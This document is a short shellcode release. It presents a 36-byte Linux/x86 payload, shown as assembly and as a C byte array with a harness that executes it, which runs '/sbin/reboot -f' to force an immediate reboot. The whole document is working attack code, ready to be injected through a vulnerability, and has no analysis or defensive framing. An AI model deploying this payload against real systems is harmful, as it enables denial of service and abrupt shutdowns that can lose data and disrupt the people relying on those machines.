**********************************************
* Linux/x86 Force Reboot shellcode 36 bytes  *
**********************************************
* Author: Hamza Megahed                      *
**********************************************
* Twitter: @Hamza_Mega                       *
**********************************************
* blog: hamza-mega[dot]blogspot[dot]com      *
**********************************************
* E-mail: hamza[dot]megahed[at]gmail[dot]com *
**********************************************

xor    %eax,%eax
push   %eax
push   $0x746f6f62
push   $0x65722f6e
push   $0x6962732f
mov    %esp,%ebx
push   %eax
pushw  $0x662d
mov    %esp,%esi
push   %eax
push   %esi
push   %ebx
mov    %esp,%ecx
mov    $0xb,%al
int    $0x80

**********************************************

#include <stdio.h>
#include <string.h>
 
char *shellcode = "\x31\xc0\x50\x68\x62\x6f\x6f\x74\x68\x6e"
                  "\x2f\x72\x65\x68\x2f\x73\x62\x69\x89\xe3"
                  "\x50\x66\x68\x2d\x66\x89\xe6\x50\x56\x53"
                  "\x89\xe1\xb0\x0b\xcd\x80";

int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}